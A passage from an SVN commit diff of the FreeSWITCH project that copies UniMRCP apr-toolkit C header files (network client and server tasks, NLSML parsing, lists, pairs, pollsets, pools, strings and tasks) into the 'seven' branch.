+ * @param client_vtable the table of virtual methods of the net client task
+ * @param msg_pool the pool of task messages
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_net_client_task_t*) apt_net_client_task_create(
+										apr_size_t max_connection_count,
+										void *obj,
+										const apt_net_client_vtable_t *client_vtable,
+										apt_task_msg_pool_t *msg_pool,
+										apr_pool_t *pool);
+
+/**
+ * Destroy network client task.
+ * @param task the task to destroy
+ */
+APT_DECLARE(apt_bool_t) apt_net_client_task_destroy(apt_net_client_task_t *task);
+
+/**
+ * Start network client task and wait for incoming requests.
+ * @param task the task to start
+ */
+APT_DECLARE(apt_bool_t) apt_net_client_task_start(apt_net_client_task_t *task);
+
+/**
+ * Terminate connection task.
+ * @param task the task to terminate
+ */
+APT_DECLARE(apt_bool_t) apt_net_client_task_terminate(apt_net_client_task_t *task);
+
+/**
+ * Get task base.
+ * @param task the network client task to get task base from
+ */
+APT_DECLARE(apt_task_t*) apt_net_client_task_base_get(apt_net_client_task_t *task);
+
+/**
+ * Get task vtable.
+ * @param task the network client task to get vtable from
+ */
+APT_DECLARE(apt_task_vtable_t*) apt_net_client_task_vtable_get(apt_net_client_task_t *task);
+
+/**
+ * Get external object.
+ * @param task the task to get object from
+ */
+APT_DECLARE(void*) apt_net_client_task_object_get(apt_net_client_task_t *task);
+
+/**
+ * Create connection.
+ */
+APT_DECLARE(apt_net_client_connection_t*) apt_net_client_connect(apt_net_client_task_t *task, const char *ip, apr_port_t port);
+
+/**
+ * Close connection.
+ */
+APT_DECLARE(apt_bool_t) apt_net_client_connection_close(apt_net_client_task_t *task, apt_net_client_connection_t *connection);
+
+/**
+ * Close and destroy connection.
+ */
+APT_DECLARE(apt_bool_t) apt_net_client_disconnect(apt_net_client_task_t *task, apt_net_client_connection_t *connection);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_NET_CLIENT_TASK_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_server_task.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_server_task.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_net_server_task.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_server_task.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_server_task.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_NET_SERVER_TASK_H__
+#define __APT_NET_SERVER_TASK_H__
+
+/**
+ * @file apt_net_server_task.h
+ * @brief Network Server Task Base
+ */ 
+
+#include <apr_poll.h>
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque network server task declaration */
+typedef struct apt_net_server_task_t apt_net_server_task_t;
+/** Network server connection declaration */
+typedef struct apt_net_server_connection_t apt_net_server_connection_t;
+/** Virtual table of network server events */
+typedef struct apt_net_server_vtable_t apt_net_server_vtable_t;
+
+/** Network server connection */
+struct apt_net_server_connection_t {
+	/** Memory pool */
+	apr_pool_t   *pool;
+	/** External object */
+	void         *obj;
+	/** Client IP address */
+	char         *client_ip;
+	/** Accepted socket */
+	apr_socket_t *sock;
+	/** Socket poll descriptor */
+	apr_pollfd_t  sock_pfd;
+	/** String identifier used for traces */
+	const char   *id;
+};
+
+/** Virtual table of network server events */
+struct apt_net_server_vtable_t {
+	/** Connect event handler */
+	apt_bool_t (*on_connect)(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+	/** Disconnect event handler */
+	apt_bool_t (*on_disconnect)(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+	/** Message receive handler */
+	apt_bool_t (*on_receive)(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+};
+
+
+/**
+ * Create network server task.
+ * @param listen_ip the listen IP address
+ * @param listen_port the listen port
+ * @param max_connection_count the number of max connections to accept
+ * @param obj the external object
+ * @param server_vtable the table of virtual methods of the net server task
+ * @param msg_pool the pool of task messages
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_net_server_task_t*) apt_net_server_task_create(
+										const char *listen_ip, 
+										apr_port_t listen_port, 
+										apr_size_t max_connection_count,
+										void *obj,
+										const apt_net_server_vtable_t *server_vtable,
+										apt_task_msg_pool_t *msg_pool,
+										apr_pool_t *pool);
+
+/**
+ * Destroy network server task.
+ * @param task the task to destroy
+ */
+APT_DECLARE(apt_bool_t) apt_net_server_task_destroy(apt_net_server_task_t *task);
+
+/**
+ * Start network server task and wait for incoming requests.
+ * @param task the task to start
+ */
+APT_DECLARE(apt_bool_t) apt_net_server_task_start(apt_net_server_task_t *task);
+
+/**
+ * Terminate connection task.
+ * @param task the task to terminate
+ */
+APT_DECLARE(apt_bool_t) apt_net_server_task_terminate(apt_net_server_task_t *task);
+
+/**
+ * Get task base.
+ * @param task the network server task to get task base from
+ */
+APT_DECLARE(apt_task_t*) apt_net_server_task_base_get(apt_net_server_task_t *task);
+
+/**
+ * Get task vtable.
+ * @param task the network server task to get vtable from
+ */
+APT_DECLARE(apt_task_vtable_t*) apt_net_server_task_vtable_get(apt_net_server_task_t *task);
+
+/**
+ * Get external object.
+ * @param task the task to get object from
+ */
+APT_DECLARE(void*) apt_net_server_task_object_get(apt_net_server_task_t *task);
+
+/**
+ * Close connection.
+ */
+APT_DECLARE(apt_bool_t) apt_net_server_connection_close(apt_net_server_task_t *task, apt_net_server_connection_t *connection);
+
+/**
+ * Destroy connection.
+ */
+APT_DECLARE(void) apt_net_server_connection_destroy(apt_net_server_connection_t *connection);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_NET_SERVER_TASK_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_nlsml_doc.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_nlsml_doc.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_nlsml_doc.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_nlsml_doc.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_nlsml_doc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_NLSML_DOC_H__
+#define __APT_NLSML_DOC_H__
+
+/**
+ * @file apt_nlsml_doc.h
+ * @brief Basic NLSML Routine
+ */ 
+
+#include "apr_xml.h"
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Load NLSML document */
+APT_DECLARE(apr_xml_doc*) nlsml_doc_load(const apt_str_t *data, apr_pool_t *pool);
+
+/** Get the first <interpretation> element */
+APT_DECLARE(apr_xml_elem*) nlsml_first_interpret_get(const apr_xml_doc *doc);
+
+/** Get the next <interpretation> element */
+APT_DECLARE(apr_xml_elem*) nlsml_next_interpret_get(const apr_xml_elem *interpret);
+
+/** Get <instance> and <input> elements of <interpretation> element */
+APT_DECLARE(apt_bool_t) nlsml_interpret_results_get(const apr_xml_elem *interpret, apr_xml_elem **instance, apr_xml_elem **input);
+
+/** Get specified atrribute of <input> */
+APT_DECLARE(const char *) nlsml_input_attrib_get(const apr_xml_elem *input, const char *attrib, apt_bool_t recursive);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_NLSML_DOC_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_obj_list.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_obj_list.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_obj_list.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_obj_list.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_obj_list.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,137 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_OBJ_LIST_H__
+#define __APT_OBJ_LIST_H__
+
+/**
+ * @file apt_obj_list.h
+ * @brief List of Opaque void* Objects
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+
+/** Opaque list declaration */
+typedef struct apt_obj_list_t apt_obj_list_t;
+/** Opaque list element declaration */
+typedef struct apt_list_elem_t apt_list_elem_t;
+
+/**
+ * Create list.
+ * @param pool the pool to allocate list from
+ * @return the created list
+ */
+APT_DECLARE(apt_obj_list_t*) apt_list_create(apr_pool_t *pool);
+
+/**
+ * Destroy list.
+ * @param list the list to destroy
+ */
+APT_DECLARE(void) apt_list_destroy(apt_obj_list_t *list);
+
+/**
+ * Push object to the list as first in, first out.
+ * @param list the list to push object to
+ * @param obj the object to push
+ * @param pool the pool to allocate list element from
+ * @return the inserted element
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_push_back(apt_obj_list_t *list, void *obj, apr_pool_t *pool);
+
+/**
+ * Pop object from the list as first in, first out.
+ * @param list the list to pop message from
+ * @return the popped object (if any)
+ */
+APT_DECLARE(void*) apt_list_pop_front(apt_obj_list_t *list);
+
+/**
+ * Retrieve object of the first element in the list.
+ * @param list the list to retrieve from
+ */
+APT_DECLARE(void*) apt_list_head(apt_obj_list_t *list);
+
+/**
+ * Retrieve object of the last element in the list.
+ * @param list the list to retrieve from
+ */
+APT_DECLARE(void*) apt_obj_list_tail(apt_obj_list_t *list);
+
+
+/**
+ * Retrieve the first element of the list.
+ * @param list the list to retrieve from
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_first_elem_get(apt_obj_list_t *list);
+
+/**
+ * Retrieve the last element of the list.
+ * @param list the list to retrieve from
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_last_elem_get(apt_obj_list_t *list);
+
+/**
+ * Retrieve the next element of the list.
+ * @param list the list to retrieve from
+ * @param elem the element to retrieve next element from
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_next_elem_get(apt_obj_list_t *list, apt_list_elem_t *elem);
+
+/**
+ * Retrieve the prev element of the list.
+ * @param list the list to retrieve from
+ * @param elem the element to retrieve prev element from
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_prev_elem_get(apt_obj_list_t *list, apt_list_elem_t *elem);
+
+/**
+ * Insert element to the list.
+ * @param list the list to insert element to
+ * @param elem the element to insert before
+ * @param obj the object to insert
+ * @param pool the pool to allocate list element from
+ * @return the inserted element
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_elem_insert(apt_obj_list_t *list, apt_list_elem_t *elem, void *obj, apr_pool_t *pool);
+
+/**
+ * Remove element from the list.
+ * @param list the list to remove element from
+ * @param elem the element to remove
+ * @return the next element (if any)
+ */
+APT_DECLARE(apt_list_elem_t*) apt_list_elem_remove(apt_obj_list_t *list, apt_list_elem_t *elem);
+
+/**
+ * Query whether the list is empty.
+ * @param list the list to query
+ * @return TRUE if empty, otherwise FALSE
+ */
+APT_DECLARE(apt_bool_t) apt_list_is_empty(apt_obj_list_t *list);
+
+/**
+ * Retrieve the object associated with element.
+ * @param elem the element to retrieve object from
+ */
+APT_DECLARE(void*) apt_list_elem_object_get(apt_list_elem_t *elem);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_OBJ_LIST_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pair.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pair.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_pair.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pair.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pair.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_PAIR_H__
+#define __APT_PAIR_H__
+
+/**
+ * @file apt_pair.h
+ * @brief Generic Name-Value Pair
+ */ 
+
+#include "apr_tables.h"
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Name-value declaration */
+typedef struct apt_pair_t apt_pair_t;
+
+/** Generic name-value pair definition ("name:value") */
+struct apt_pair_t {
+	/** The name */
+	apt_str_t name;
+	/** The value */
+	apt_str_t value;
+};
+
+/** Dynamic array of name-value pairs */
+typedef apr_array_header_t apt_pair_arr_t;
+
+/** Initialize name-value pair */
+static APR_INLINE void apt_pair_init(apt_pair_t *pair)
+{
+	apt_string_reset(&pair->name);
+	apt_string_reset(&pair->value);
+}
+
+/** Copy name-value pair */
+static APR_INLINE void apt_pair_copy(apt_pair_t *pair, const apt_pair_t *src_pair, apr_pool_t *pool)
+{
+	apt_string_copy(&pair->name,&src_pair->name,pool);
+	apt_string_copy(&pair->value,&src_pair->value,pool);
+}
+
+/** Create array of name-value pairs */
+APT_DECLARE(apt_pair_arr_t*) apt_pair_array_create(apr_size_t initial_size, apr_pool_t *pool);
+/** Copy array of name-value pairs */
+APT_DECLARE(apt_pair_arr_t*) apt_pair_array_copy(const apt_pair_arr_t *src, apr_pool_t *pool);
+/** Append name-value pair */
+APT_DECLARE(apt_bool_t) apt_pair_array_append(apt_pair_arr_t *arr, const apt_str_t *name, const apt_str_t *value, apr_pool_t *pool);
+/** Find name-value pair by name */
+APT_DECLARE(const apt_pair_t*) apt_pair_array_find(const apt_pair_arr_t *arr, const apt_str_t *name);
+/** Get size of pair array */
+APT_DECLARE(int) apt_pair_array_size_get(const apt_pair_arr_t *arr);
+/** Get name-value pair by id */
+APT_DECLARE(const apt_pair_t*) apt_pair_array_get(const apt_pair_arr_t *arr, int id);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_PAIR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pollset.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pollset.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_pollset.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pollset.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pollset.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_POLLSET_H__
+#define __APT_POLLSET_H__
+
+/**
+ * @file apt_pollset.h
+ * @brief Interruptable APR-Pollset
+ */ 
+
+/**
+ * Wakeup builtin API of the pollset is introduced only in APR-1.4
+ * and it is not available for APR-1.2 and APR-1.3 versions. Thus
+ * apt_pollset_t is an extension of apr_pollset_t and provides
+ * pollset wakeup capabilities the similar way as it's implemented
+ * in APR-1.4 trunk
+ */
+
+#include <apr_poll.h>
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque pollset declaration */
+typedef struct apt_pollset_t apt_pollset_t;
+
+/**
+ * Create interruptable pollset on top of APR pollset
+ * @param size the maximum number of descriptors pollset can hold
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_pollset_t*) apt_pollset_create(apr_uint32_t size, apr_pool_t *pool);
+
+/**
+ * Destroy pollset.
+ * @param pollset the pollset to destroy
+ */
+APT_DECLARE(apt_bool_t) apt_pollset_destroy(apt_pollset_t *pollset);
+
+/**
+ * Add pollset descriptor to a pollset.
+ * @param pollset the pollset to add the descriptor to
+ * @param descriptor the descriptor to add
+ */
+APT_DECLARE(apt_bool_t) apt_pollset_add(apt_pollset_t *pollset, const apr_pollfd_t *descriptor);
+
+/**
+ * Remove pollset descriptor from a pollset.
+ * @param pollset the pollset to remove the descriptor from
+ * @param descriptor the descriptor to remove
+ */
+APT_DECLARE(apt_bool_t) apt_pollset_remove(apt_pollset_t *pollset, const apr_pollfd_t *descriptor);
+
+/**
+ * Block for activity on the descriptor(s) in a pollset.
+ * @param pollset the pollset to use
+ * @param timeout the timeout in microseconds
+ * @param num nthe umber of signalled descriptors (output parameter)
+ * @param descriptors the array of signalled descriptors (output parameter)
+ */
+APT_DECLARE(apr_status_t) apt_pollset_poll(
+								apt_pollset_t *pollset,
+								apr_interval_time_t timeout,
+								apr_int32_t *num,
+								const apr_pollfd_t **descriptors);
+
+/**
+ * Interrupt the blocked poll call.
+ * @param pollset the pollset to use
+ */
+APT_DECLARE(apt_bool_t) apt_pollset_wakeup(apt_pollset_t *pollset);
+
+/**
+ * Match against builtin wake up descriptor in a pollset.
+ * @param pollset the pollset to use
+ * @param descriptor the descriptor to match
+ */
+APT_DECLARE(apt_bool_t) apt_pollset_is_wakeup(apt_pollset_t *pollset, const apr_pollfd_t *descriptor);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_POLLSET_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pool.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pool.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_pool.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pool.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_pool.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_POOL_H__
+#define __APT_POOL_H__
+
+/**
+ * @file apt_pool.h
+ * @brief APR pool management
+ */ 
+
+/**
+ * Wrappers around APR pool creation 
+ * allow to control memory allocation policy project uses
+ */
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create APR pool
+ */
+APT_DECLARE(apr_pool_t*) apt_pool_create();
+
+/**
+ * Create APR subpool pool
+ * @param parent the parent pool
+ */
+APT_DECLARE(apr_pool_t*) apt_subpool_create(apr_pool_t *parent);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_POOL_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_string.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_STRING_H__
+#define __APT_STRING_H__
+
+/**
+ * @file apt_string.h
+ * @brief String Representation
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/** String declaration */
+typedef struct apt_str_t apt_str_t;
+
+/** String representation */
+struct apt_str_t {
+	/** String buffer (might be not NULL terminated) */
+	char *buf;
+	/** Length of the string (not counting terminating NULL character if exists) */
+	apr_size_t  length;
+}; 
+
+/** Reset string. */
+static APR_INLINE void apt_string_reset(apt_str_t *str)
+{
+	str->buf = NULL;
+	str->length = 0;
+}
+
+/**
+ * Set NULL terminated string. 
+ * @param str the destination string
+ * @param src the NULL terminated string to set
+ */
+static APR_INLINE void apt_string_set(apt_str_t *str, const char *src)
+{
+	str->buf = (char*)src;
+	str->length = src ? strlen(src) : 0;
+}
+
+/**
+ * Assign (copy) NULL terminated string. 
+ * @param str the destination string
+ * @param src the NULL terminated string to copy
+ * @param pool the pool to allocate memory from
+ */
+static APR_INLINE void apt_string_assign(apt_str_t *str, const char *src, apr_pool_t *pool)
+{
+	str->buf = NULL;
+	str->length = src ? strlen(src) : 0;
+	if(str->length) {
+		str->buf = apr_pstrmemdup(pool,src,str->length);
+	}
+}
+
+/**
+ * Assign (copy) n characters from the src string. 
+ * @param str the destination string
+ * @param src the NULL terminated string to copy
+ * @param pool the pool to allocate memory from
+ */
+static APR_INLINE void apt_string_assign_n(apt_str_t *str, const char *src, apr_size_t length, apr_pool_t *pool)
+{
+	str->buf = NULL;
+	str->length = length;
+	if(str->length) {
+		str->buf = apr_pstrmemdup(pool,src,str->length);
+	}
+}
+
+/**
+ * Copy string. 
+ * @param dest_str the destination string
+ * @param src_str the source string
+ * @param pool the pool to allocate memory from
+ */
+static APR_INLINE void apt_string_copy(apt_str_t *str, const apt_str_t *src_str, apr_pool_t *pool)
+{
+	str->buf = NULL;
+	str->length = src_str->length;
+	if(str->length) {
+		str->buf = apr_pstrmemdup(pool,src_str->buf,src_str->length);
+	}
+}
+
+/**
+ * Compare two strings (case insensitive). 
+ * @param str1 the string to compare
+ * @param str2 the string to compare
+ * @return TRUE if equal, FALSE otherwise
+ */
+static APR_INLINE apt_bool_t apt_string_compare(const apt_str_t *str1, const apt_str_t *str2)
+{
+	if(str1->length != str2->length || !str1->length) {
+		return FALSE;
+	}
+	return (strncasecmp(str1->buf,str2->buf,str1->length) == 0) ? TRUE : FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__APT_STRING_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string_table.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string_table.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_string_table.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string_table.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_string_table.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_STRING_TABLE_H__
+#define __APT_STRING_TABLE_H__
+
+/**
+ * @file apt_string_table.h
+ * @brief Generic String Table
+ */ 
+
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+
+/** String table item declaration */
+typedef struct apt_str_table_item_t apt_str_table_item_t;
+
+/** String table item definition */
+struct apt_str_table_item_t {
+	/** String value associated with id */
+	apt_str_t  value;
+	/** Index of the unique (key) character to compare */
+	apr_size_t key;
+};
+
+
+/**
+ * Get the string by a given id.
+ * @param table the table to get string from
+ * @param size the size of the table
+ * @param id the id to get string by
+ * @return the string associated with the id, or NULL if the id is invalid
+ */
+APT_DECLARE(const apt_str_t*) apt_string_table_str_get(const apt_str_table_item_t table[], apr_size_t size, apr_size_t id);
+
+/**
+ * Find the id associated with a given string.
+ * @param table the table to search for the id
+ * @param size the size of the table
+ * @param value the string to search for
+ * @return the id associated with the string, or invalid id if string cannot be matched
+ */
+APT_DECLARE(apr_size_t) apt_string_table_id_find(const apt_str_table_item_t table[], apr_size_t size, const apt_str_t *value);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_STRING_TABLE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_task.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_task.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_TASK_H__
+#define __APT_TASK_H__
+
+/**
+ * @file apt_task.h
+ * @brief Thread Execution Abstraction
+ */ 
+
+#include "apt.h"
+#include "apt_task_msg.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque task declaration */
+typedef struct apt_task_t apt_task_t;
+/** Opaque task virtual table declaration */
+typedef struct apt_task_vtable_t apt_task_vtable_t;
+/** Opaque task method declaration */
+typedef apt_bool_t (*apt_task_method_f)(apt_task_t *task);
+/** Opaque task event declaration */
+typedef void (*apt_task_event_f)(apt_task_t *task);
+
+
+/**
+ * Create task.
+ * @param obj the external object to associate with the task
+ * @param msg_pool the pool of task messages
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_task_t*) apt_task_create(
+								void *obj,
+								apt_task_msg_pool_t *msg_pool,
+								apr_pool_t *pool);
+
+/**
+ * Destroy task.
+ * @param task the task to destroy
+ */
+APT_DECLARE(apt_bool_t) apt_task_destroy(apt_task_t *task);
+
+/**
+ * Add slave task.
+ * @param task the task to add slave task to
+ * @param child_task the child task to add
+ */
+APT_DECLARE(apt_bool_t) apt_task_add(apt_task_t *task, apt_task_t *child_task);
+
+/**
+ * Start task.
+ * @param task the task to start
+ */
+APT_DECLARE(apt_bool_t) apt_task_start(apt_task_t *task);
+
+/**
+ * Terminate task.
+ * @param task the task to terminate
+ * @param wait_till_complete whether to wait for task to complete or
+ *                           process termination asynchronously
+ */
+APT_DECLARE(apt_bool_t) apt_task_terminate(apt_task_t *task, apt_bool_t wait_till_complete);
+
+/**
+ * Start child tasks.
+ * @param task the parent task
+ */
+APT_DECLARE(apt_bool_t) apt_task_child_start(apt_task_t *task);
+
+/**
+ * Terminate child tasks.
+ * @param task the parent task
+ */
+APT_DECLARE(apt_bool_t) apt_task_child_terminate(apt_task_t *task);
+
+/**
+ * Wait for task till complete.
+ * @param task the task to wait for
+ */
